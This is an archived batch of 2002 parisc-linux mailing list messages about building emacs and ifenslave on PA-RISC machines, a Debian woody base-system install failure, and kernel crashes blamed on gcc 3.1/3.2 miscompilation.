Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14624

I'm trying to install emacs 21.2 on a B180L,  but I can't compile the sources.
The system tells me that "emacs hasn't been ported on
hppa-unknown-linux-system".

I think that the script "configure" is checking the system type.
Is there any way to avoid that by telling to "configure" that my computer
is not a hppa but an emacs21.2-supported architecture?

Thanks.




From - Thu Nov 08 21:22:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to install emacs 21.2 on a B180L
Date: Mon, 22 Apr 2002 15:06:05 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020422150605.O5225@parcelfarce.linux.theplanet.co.uk>
References: <200204220914.g3M9E8S07303@iut-lannion.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621248 6428 80.91.229.3 (22 Nov 2014 01:54:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Bruno_L=E9on?= <nonolemono@yahoo.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 22 08:06:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E618F482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Apr 2002 08:06:12 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16zeSD-0005pK-00; Mon, 22 Apr 2002 15:06:05 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200204220914.g3M9E8S07303@iut-lannion.fr>; from nonolemono@yahoo.fr on Mon, Apr 22, 2002 at 11:13:02AM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14625

On Mon, Apr 22, 2002 at 11:13:02AM +0200, Bruno Lon wrote:
> I'm trying to install emacs 21.2 on a B180L,  but I can't compile the sources.
> The system tells me that "emacs hasn't been ported on
> hppa-unknown-linux-system".

   emacs21 |     21.2-1 |      unstable | source, alpha, arm, hppa, i386, ia64, m68k, mips, mipsel, powerpc, s390, sparc

so you can simply apt-get install emacs21.  Presumably the debian package
has patches to allow emacs to compile on hppa-linux.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Copmpiling ifenslave
Date: Mon, 22 Apr 2002 23:27:50 -0400
Lines: 61
Approved: news@gmane.org
Message-ID: <20020422232750.B1244@hera.cs.brandeis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621248 6434 80.91.229.3 (22 Nov 2014 01:54:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:08 +0000 (UTC)
To: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 22 21:27:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hera.cs.brandeis.edu (hera.cs.brandeis.edu [129.64.3.192])
	by dsl2.external.hp.com (Postfix) with ESMTP id A60B8482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Apr 2002 21:27:52 -0600 (MDT)
Original-Received: (from aaronm@localhost)
	by hera.cs.brandeis.edu (8.9.3/8.9.3) id XAA01256
	for parisc-linux@lists.parisc-linux.org; Mon, 22 Apr 2002 23:27:50 -0400
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14626

I don't know if anyone else has tried this, but trying to compile
Becker's ifenslave commmand on a 0.93 box(kernel rebuilt to 2.4.18-pa0
yielded this mess:
ifenslave(.data+0x8c):/usr/src/build/53700-i386/BUILD/glibc-2.2.4/csu/init.c:
multiple definition of `opt_f'
/tmp/ccDAhJJg.o(.data+0x7c): first defined here
ifenslave(.data+0x18):/usr/src/build/53700-i386/BUILD/glibc-2.2.4/csu/init.c:
multiple definition of `longopts'
/tmp/ccDAhJJg.o(.data+0x8): first defined here
ifenslave(.data+0x90):/usr/src/build/53700-i386/BUILD/glibc-2.2.4/csu/init.c:
multiple definition of `opt_r'
/tmp/ccDAhJJg.o(.data+0x80): first defined here
ifenslave(.data+0x94):/usr/src/build/53700-i386/BUILD/glibc-2.2.4/csu/init.c:
multiple definition of `verbose'
/tmp/ccDAhJJg.o(.data+0x84): first defined here
ifenslave: In function `_init':
ifenslave(.init+0x0): multiple definition of `_init'
/usr/lib/gcc-lib/hppa-linux/3.0.2/../../../crti.o(.init+0x0): first
defined here
ifenslave(.data+0x98):/usr/src/build/53700-i386/BUILD/glibc-2.2.4/csu/init.c:
multiple definition of `skfd'
/tmp/ccDAhJJg.o(.data+0x88): first defined here
ifenslave: In function `_start':
ifenslave(.text+0x0): multiple definition of `_start'
/usr/lib/gcc-lib/hppa-linux/3.0.2/../../../crt1.o(.text+0x0): first
defined here
ifenslave(.text+0x100):/usr/src/build/53700-i386/BUILD/glibc-2.2.4/csu/init.c:
multiple definition of `main'
/tmp/ccDAhJJg.o(.text+0x0): first defined here
/usr/bin/ld: Warning: size of symbol `main' changed from 3032 to 2589
in ifenslave
ifenslave(.data+0x88):/usr/src/build/53700-i386/BUILD/glibc-2.2.4/csu/init.c:
multiple definition of `opt_a'
/tmp/ccDAhJJg.o(.data+0x78): first defined here
ifenslave(.fini+0x0):/usr/src/build/53700-i386/BUILD/glibc-2.2.4/csu/init.c:
multiple definition of `_fini'
/usr/lib/gcc-lib/hppa-linux/3.0.2/../../../crti.o(.fini+0x0): first
defined here
ifenslave(.rodata+0x4):/usr/src/build/53700-i386/BUILD/glibc-2.2.4/csu/init.c:
multiple definition of `_IO_stdin_used'
/usr/lib/gcc-lib/hppa-linux/3.0.2/../../../crt1.o(.rodata+0x0): first
defined here
/usr/lib/gcc-lib/hppa-linux/3.0.2/../../../crt1.o(.dynamic+0x0):
multiple definition of `_DYNAMIC'
ifenslave(.dynamic+0x0):/usr/src/build/53700-i386/BUILD/glibc-2.2.4/csu/init.c:
first defined here
/usr/lib/gcc-lib/hppa-linux/3.0.2/../../../crt1.o(.got+0x0): multiple
definition of `_GLOBAL_OFFSET_TABLE_'
ifenslave(.got+0x0):/usr/src/build/53700-i386/BUILD/glibc-2.2.4/csu/init.c:
first defined here
/usr/bin/ld: .got section not immediately after .plt section
collect2: ld returned 1 exit status

is this just a signal to upgrade gcc and glibc or is there more to it?
Aaron
-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:22:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Copmpiling ifenslave
Date: Tue, 23 Apr 2002 04:40:18 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20020423044018.A21737@parcelfarce.linux.theplanet.co.uk>
References: <20020422232750.B1244@hera.cs.brandeis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621248 6436 80.91.229.3 (22 Nov 2014 01:54:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:08 +0000 (UTC)
Cc: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
To: Aaron Macks <aaronm@cs.brandeis.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 22 21:40:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0229D482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Apr 2002 21:40:20 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16zrAA-0005uO-00; Tue, 23 Apr 2002 04:40:18 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020422232750.B1244@hera.cs.brandeis.edu>; from aaronm@cs.brandeis.edu on Mon, Apr 22, 2002 at 11:27:50PM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14627

On Mon, Apr 22, 2002 at 11:27:50PM -0400, Aaron Macks wrote:
> I don't know if anyone else has tried this, but trying to compile
> Becker's ifenslave commmand on a 0.93 box(kernel rebuilt to 2.4.18-pa0
> yielded this mess:

Is there something wrong with `apt-get install ifenslave'?  :-)

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Juan Pedro Vilar <dijjvb@uib.es>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem installing Debian woody in PA-RISC (HP9000 C100)
Date: Tue, 23 Apr 2002 15:48:04 +0200
Organization: SCI
Lines: 51
Approved: news@gmane.org
Message-ID: <5813913456.20020423154804@uib.es>
Reply-To: Juan Pedro Vilar <dijjvb@uib.es>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621249 6439 80.91.229.3 (22 Nov 2014 01:54:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 23 07:49:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tomir.uib.es (tomir.uib.es [130.206.33.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E18E482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Apr 2002 07:49:00 -0600 (MDT)
Original-Received: from aisci11 ([130.206.77.217]) by clust.uib.es (PMDF V5.2-33 #30169)
 with ESMTP id <01KGWPOLJTOK000W3G@clust.uib.es> for
 parisc-linux@lists.parisc-linux.org; Tue, 23 Apr 2002 15:48:49 +0200
X-Mailer: The Bat! (v1.53d)
X-Priority: 3 (Normal)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14628

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

I've been trying to install the latest Debian woody
release(palinux-0.9.3.iso) on a PA-RISC (HP9000 C100) and I can't get
it
to install the base system.
I follow all the installation steps and everything runs smoothly
until I
get to the "Install base system". While installing it, I get the
following warning "Failure trying to run:chroot /target mount" and
then
if I try to swap to another console and issue the same command, I get
a
"segmentation fault" error. When I hit the continue button, then I
get a
"Base Installation error, debootstrap exited with an error (return
value
1)" and he then asks me to install again the base system. We also
tried
to skip this step the second time and everything seem to worked but
the
system was, of course, not usable after that as some packages were
missing and we were getting plenty of segmentation faults.
The machine has no special hardware added and we think we have
followed
all the steps from the installation guide. We have also browsed the
web
looking for this problem and we've found no reference.
Are we missing something? Any hints anybody?
thanks in advance,



- --
Saludos,
 Juan Pedro                         mailto:dijjvb@uib.es


-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5i

iQA/AwUBPMVYDmh0yy+67OVzEQKudQCgwtfl6+6zSEfLP6E6JEq1Rp3DOEsAn1Fa
wtegncIohNFq3nHiJ8BHQz1w
=hCMK
-----END PGP SIGNATURE-----




From - Thu Nov 08 21:22:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 experimental debs
Date: Tue, 23 Apr 2002 11:19:03 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20020423111903.A8545@systemhalted>
References: <3CC2B937.8020509@freebel.net> <20020421162538.G5225@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621249 6442 80.91.229.3 (22 Nov 2014 01:54:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:09 +0000 (UTC)
Cc: Joel Soete <joel.soete@freebel.net>,
	Randolph Chung <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 23 09:19:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4A8D482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Apr 2002 09:19:20 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g3NFJ3208562;
	Tue, 23 Apr 2002 11:19:03 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>,
	Joel Soete <joel.soete@freebel.net>,
	Randolph Chung <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020421162538.G5225@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Sun, Apr 21, 2002 at 04:25:38PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (52% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14629

> > "Stack pointer and cr30 do not correspond!
> > Dumping virtual address stack instead
> > 
> > Dumping Stack from ... to ...:
> > 
> > Humm as it appends as well with telnet as ssh I suspect a inetd problem?
> 
> I'd bet on gcc-3.2 miscompiling something in the network part of the kernel,
> personally.
>

Tested today.

Happens in the 3.1 main branch aswell (don't remember it previously happening).
Maybe I shouldn't be recommending the use of 3.1 as a cross compiler? ;)

I'll kdb on a serial tommorow morning and see what is causing it to die.

Oddly enough, I run diskless systems and they run off NFS perfectly fine...
so everything can't be that broke.

c. 




From - Thu Nov 08 21:22:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem installing Debian woody in PA-RISC (HP9000 C100)
Date: Tue, 23 Apr 2002 09:51:39 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20020423155139.51956482A@dsl2.external.hp.com>
References: <5813913456.20020423154804@uib.es>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621249 6446 80.91.229.3 (22 Nov 2014 01:54:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Juan Pedro Vilar <dijjvb@uib.es>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 23 09:51:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 51956482A; Tue, 23 Apr 2002 09:51:39 -0600 (MDT)
In-Reply-To: Message from Juan Pedro Vilar <dijjvb@uib.es> 
   of "Tue, 23 Apr 2002 15:48:04 +0200." <5813913456.20020423154804@uib.es> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14630

Juan Pedro Vilar wrote:
> While installing it, I get the
> following warning "Failure trying to run:chroot /target mount" and
> then if I try to swap to another console and issue the same command,
> I get a "segmentation fault" error.

I don't know what the problem here is.
But my gut feeling is we should create a 0.9.4 CD with recent bits
instead of persuing this problem.
Did anyone care to do that in the near future?

thanks,
grant



From - Thu Nov 08 21:22:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem installing Debian woody in PA-RISC (HP9000 C100)
Date: Tue, 23 Apr 2002 17:01:37 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20020423170137.D16899@parcelfarce.linux.theplanet.co.uk>
References: <5813913456.20020423154804@uib.es> <dijjvb@uib.es> <20020423155139.51956482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621249 6449 80.91.229.3 (22 Nov 2014 01:54:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:09 +0000 (UTC)
Cc: Juan Pedro Vilar <dijjvb@uib.es>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 23 10:01:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5B5F4835
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Apr 2002 10:01:38 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 1702jZ-0006To-00; Tue, 23 Apr 2002 17:01:37 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020423155139.51956482A@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Tue, Apr 23, 2002 at 09:51:39AM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14631

On Tue, Apr 23, 2002 at 09:51:39AM -0600, Grant Grundler wrote:
> Juan Pedro Vilar wrote:
> > While installing it, I get the
> > following warning "Failure trying to run:chroot /target mount" and
> > then if I try to swap to another console and issue the same command,
> > I get a "segmentation fault" error.
> 
> I don't know what the problem here is.
> But my gut feeling is we should create a 0.9.4 CD with recent bits
> instead of persuing this problem.
> Did anyone care to do that in the near future?

Given that Debian 3.0 is due May 1 (see
http://lists.debian.org/debian-devel-announce/2002/debian-devel-announce-200204/msg00004.html)
I think any effort expended on 0.9.4 would be wasted.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 experimental debs
Date: Tue, 23 Apr 2002 19:16:08 +0200 (CEST)
Lines: 67
Approved: news@gmane.org
Message-ID: <1019582168.3cc596d87ba8a@webmail.tiscalinet.be>
References: <3CC2B937.8020509@freebel.net> <20020421162538.G5225@parcelfarce.linux.theplanet.co.uk> <20020423111903.A8545@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621250 6453 80.91.229.3 (22 Nov 2014 01:54:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:10 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Joel Soete <joel.soete@freebel.net>,
	Randolph Chung <tausq@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 23 11:17:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8882C4835
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Apr 2002 11:17:53 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 1703tg-0006r4-00; Tue, 23 Apr 2002 19:16:08 +0200
In-Reply-To: <20020423111903.A8545@systemhalted>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14632

Hello Carlos,

Quoting "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>:

> > > "Stack pointer and cr30 do not correspond!
> > > Dumping virtual address stack instead
> > > 
> > > Dumping Stack from ... to ...:
> > > 
> > > Humm as it appends as well with telnet as ssh I suspect a inetd
> problem?
> > 
> > I'd bet on gcc-3.2 miscompiling something in the network part of the
> kernel,
> > personally.
> >
> 
> Tested today.
> 
> Happens in the 3.1 main branch aswell (don't remember it previously
> happening).
> Maybe I shouldn't be recommending the use of 3.1 as a cross compiler?
> ;)

I also notice it on 3.1 about two mount ago (that is why I do another try with 3.2)


> 
> I'll kdb on a serial tommorow morning and see what is causing it to
> die.
> 

